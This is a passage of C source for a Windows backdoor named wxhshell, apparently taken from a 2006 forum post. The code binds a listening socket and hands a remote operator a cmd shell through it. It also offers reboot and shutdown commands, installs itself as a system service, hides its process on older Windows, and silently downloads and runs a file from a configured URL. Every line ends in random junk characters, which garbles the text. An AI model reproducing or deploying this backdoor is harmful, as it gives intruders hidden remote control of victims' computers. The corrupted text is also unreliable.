  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A&$oiLc  
  } *g}(qjl<  
  else { -!dL <  
a!1\,.  
    switch(cmd[0]) { 7PDz ]i  
  OZ*V7o  
  // 帮助 B u ~N)^  
  case '?': { IT3xX=|b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H+]>*^'8  
    break; +%$'( t s  
  } vGK'U*gGD  
  // 安装 `YDe<@6'  
  case 'i': { B rGaCja  
    if(Install()) DQ{Yr>J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?lh `>v  
    else 6#/Riu%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L}bS"=B[&W  
    break; ?jywW$   
    } < c[+60p"  
  // 卸载 #6[7q6{ 4  
  case 'r': { : kVEB<G  
    if(Uninstall()) .c[v /SB]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MCOz-8@|Y  
    else =R08B)yR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rw$>()}H8  
    break; $J>J@4  
    } >Lh+(M;+F  
  // 显示 wxhshell 所在路径 F[Dhj,C"  
  case 'p': { !5rja-h  
    char svExeFile[MAX_PATH]; Z:l.{3J$  
    strcpy(svExeFile,"\n\r"); kKV`9&dZe  
      strcat(svExeFile,ExeFile); {2`:7U ~|  
        send(wsh,svExeFile,strlen(svExeFile),0); 1M|DaAI  
    break; 4s?x 8oAy  
    } -r9G5Z!|n  
  // 重启 ;%r#p v~  
  case 'b': { QRs!B!Fn0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jP{LMmV  
    if(Boot(REBOOT)) C3Mr)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5B [kZ?>  
    else { a'f0Wv0%"  
    closesocket(wsh); [p%@ pV  
    ExitThread(0); MLV_I4o  
    } l65-8  
    break; Cd:ofv/3  
    } H7 acT  
  // 关机 :I(-@2?{  
  case 'd': { $V$|"KRcs  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Sm;EWz-?  
    if(Boot(SHUTDOWN)) hadGF%> O6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s6k,'`.  
    else { 6~Y-bn"%D5  
    closesocket(wsh); sK~d{)+T  
    ExitThread(0); hjB G`S#  
    } 4}:a"1P"  
    break; t_@xzt10y  
    } 'H0b1t1S%  
  // 获取shell 1LTl=tS#  
  case 's': { ;~Eb Q  
    CmdShell(wsh); $:I~y| !1  
    closesocket(wsh); @D!KFJ  
    ExitThread(0); d($f8{~W  
    break; ;<Dou7=  
  } $gsn@P>"  
  // 退出 ,nqG* o  
  case 'x': { zbt>5S_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n>F1G MX  
    CloseIt(wsh); R v6 1*F4  
    break; YYFJJ,7?  
    } ;m{*iKL6{  
  // 离开 yM%,*VZ  
  case 'q': { F&}>2QiL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YYDLFt r2  
    closesocket(wsh); YKwej@9,  
    WSACleanup(); J]8nbl  
    exit(1); sy+o{] N  
    break; r40#-A$  
        } \S(:O8_"68  
  } HFD5* Z~M  
  } k> I;mEV  
' bio: 1  
  // 提示信息 \/C-e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @`<vd@  
} " &B/v"nj  
  }  WDr'w'  
^Z7])arA  
  return; {6YLiQ*_  
} Yr@)W~  
?pdvFM  
// shell模块句柄 7bioLE  
int CmdShell(SOCKET sock) Ug=8:a(U.  
{ /[YH  W]  
STARTUPINFO si; M9{?gM9  
ZeroMemory(&si,sizeof(si)); b?-Ep?G'\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )>q.!"B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^\kv> WBE  
PROCESS_INFORMATION ProcessInfo; {l= !  
char cmdline[]="cmd"; a%>p"4WL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (q+U5Ls6  
  return 0; D'e'xU  
} "=I ioY  
lJ!+n<K+  
// 自身启动模式 {uEu ^6a5  
int StartFromService(void) J2 _DP  
{ T_CYSS|fX  
typedef struct =/MAKi}g  
{ nfck3h  
  DWORD ExitStatus; p(UUH3%W  
  DWORD PebBaseAddress; gio'_X  
  DWORD AffinityMask; ^YzFEu$  
  DWORD BasePriority; 6dO )]  
  ULONG UniqueProcessId; kKnz F  
  ULONG InheritedFromUniqueProcessId; YK#bzu ,!  
}   PROCESS_BASIC_INFORMATION; }?xu/C  
1,fjdd8OM;  
PROCNTQSIP NtQueryInformationProcess; 6P;JF%{J  
:`6E{yfM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H XF5fs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uUb[Dqn  
v|~ yIywf  
  HANDLE             hProcess; SEQ bw](ss  
  PROCESS_BASIC_INFORMATION pbi; {q%&~  
QSf{V(fs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I3o6ym-i  
  if(NULL == hInst ) return 0; S/pTFlptCa  
;3NA,JA#Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )|f!}( p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1lu _<?O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -?n|kSHX  
V}ZF\SG(K  
  if (!NtQueryInformationProcess) return 0; DWDL|4 og  
Q}ho Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }~$zdgMT  
  if(!hProcess) return 0; l=%v  
Pb=J4Lvz(d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E7^r3#s  
2F+K(  
  CloseHandle(hProcess); hH8:7i  
+~RiCZt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b 8v?@s~  
if(hProcess==NULL) return 0; jI0gQ [  
B@dA?w.x  
HMODULE hMod; p;Kw$fQ?  
char procName[255]; :~BY[")  
unsigned long cbNeeded; k0.|%0?K  
G&MI@Hq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E`.dU<8HE  
Hw[u Sv8  
  CloseHandle(hProcess); L !:}  
01q5BQ7u  
if(strstr(procName,"services")) return 1; // 以服务启动 g83]/s+  
x7 jE Ns )  
  return 0; // 注册表启动 qazM@  
} \"i2E!  
RVtb0FL  
// 主模块 c*ac9Y'o  
int StartWxhshell(LPSTR lpCmdLine) "1_eZ`  
{ XJTY91~R  
  SOCKET wsl; S{aK\>>H  
BOOL val=TRUE; MDa 4U@Q  
  int port=0; dN J2pfvv  
  struct sockaddr_in door; h{I)^8,M  
DU#6%8~  
  if(wscfg.ws_autoins) Install(); S !cc%  
U bT7  
port=atoi(lpCmdLine); I:[^><?E  
)xIk#>)  
if(port<=0) port=wscfg.ws_port; jD9 ^DzFx  
gy/z;fB  
  WSADATA data; yU3fM?a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hrPm$`  
Lh0Pvq0C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vFXih'=_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @D&VOJV  
  door.sin_family = AF_INET; 9/TF #  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;muxIr`?  
  door.sin_port = htons(port); m[,! orq  
xpt*S~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8W Mhe=[  
closesocket(wsl); V~` ?J6  
return 1; v)>R)bzqe  
} 57^ X@ra$  
LC)-aw>-  
  if(listen(wsl,2) == INVALID_SOCKET) { q-O=Em<*  
closesocket(wsl); `=8g%O|T  
return 1; s,O:l0  
} .zO/8y(@  
  Wxhshell(wsl); \wqi_[A  
  WSACleanup(); &wr0HrE\  
^@e4m O  
return 0; Vr0-evwfo  
pTPWToKh  
} I5PI;t+  
ZG>I[V'p=  
// 以NT服务方式启动 3 4CqLPg8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rkh+$*t@i7  
{ :hB/|H*=  
DWORD   status = 0; ~#+ Hhc(  
  DWORD   specificError = 0xfffffff; JSCe86a7<E  
hDI_qZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5]DgfwX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #@Yw]@5M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uH S)  
  serviceStatus.dwWin32ExitCode     = 0; B B*]" gT  
  serviceStatus.dwServiceSpecificExitCode = 0; X-O/&WRYQ  
  serviceStatus.dwCheckPoint       = 0; $-'p6^5  
  serviceStatus.dwWaitHint       = 0; tb#. Y  
5SKj% %B2,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :clMO|  
  if (hServiceStatusHandle==0) return; xG i,\K\:  
;LM`B^Q]s  
status = GetLastError(); :G\f(2@  
  if (status!=NO_ERROR) n!e4"|4~z  
{ hOjy$Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yUcWX bT@  
    serviceStatus.dwCheckPoint       = 0; Cc7PhoPK  
    serviceStatus.dwWaitHint       = 0; ~YO99PP  
    serviceStatus.dwWin32ExitCode     = status; 9`eu&n@Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;2 -%IA,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;L(2Ffk8  
    return; |%.V{vgP7  
  } -E_lwK  
` MtI>x c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;(AVZxCM  
  serviceStatus.dwCheckPoint       = 0; wd&Tf R4!  
  serviceStatus.dwWaitHint       = 0; 7:'7EqM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V'y,{YpP  
} $6Z@0H@X  
gOaL4tu  
// 处理NT服务事件,比如:启动、停止 H;5FsKIF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bC{1LY0  
{ r kOLTi[$  
switch(fdwControl) 1,q&A RTS  
{ jA9&hbQuL  
case SERVICE_CONTROL_STOP: uBp"YX9rx  
  serviceStatus.dwWin32ExitCode = 0; ea!_/Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,q$'hYTaJ  
  serviceStatus.dwCheckPoint   = 0; d*;wHA,}F  
  serviceStatus.dwWaitHint     = 0; MBZ/Pzl~  
  { CPGiKE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5lehASBz  
  } Fy_D[g  
  return; ;^VLx)q  
case SERVICE_CONTROL_PAUSE: vqDd][n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ";\na!MT  
  break; 5{ ?J5  
case SERVICE_CONTROL_CONTINUE: z.EpRJn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZdQt!  
  break; ,kiyx h^  
case SERVICE_CONTROL_INTERROGATE: U'8+YAgc  
  break; 4 0as7.q  
}; {T EF#iF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AP*Z0OFE  
} CsfGjqpf  
@ov*Fh  
// 标准应用程序主函数 @AM;58.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ; C/:$l  
{ q5<'pi   
z2:^Qg  
// 获取操作系统版本 +zM WIG  
OsIsNt=GetOsVer(); 8XFs)1s[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q^5j&jx Vl  
tB-0wD=PR  
  // 从命令行安装 Se*o{V3s$  
  if(strpbrk(lpCmdLine,"iI")) Install(); N,N9K  
BWRM gN'.  
  // 下载执行文件 4H@:|  
if(wscfg.ws_downexe) { #w_cos[I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h$3o]~t  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1yHlBeEC  
}  {*!L[)  
V}c3}'_U]  
if(!OsIsNt) { 53>y<  
// 如果时win9x,隐藏进程并且设置为注册表启动 tS|gQUF17  
HideProc(); DbDi n  
StartWxhshell(lpCmdLine); \C<|yD  
} IpX.ube  
else y>4r<Y ZQ  
  if(StartFromService()) 1?k{jt~  
  // 以服务方式启动 PL*Mz(&bf  
  StartServiceCtrlDispatcher(DispatchTable); !kAjne8]d  
else E8$k}I  
  // 普通方式启动 j0^%1  
  StartWxhshell(lpCmdLine); &z'N Q !uV  
LHit9O[_/s  
return 0; &d1|B`gL|  
}
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只看该作者 1 发表于: 2006-10-10
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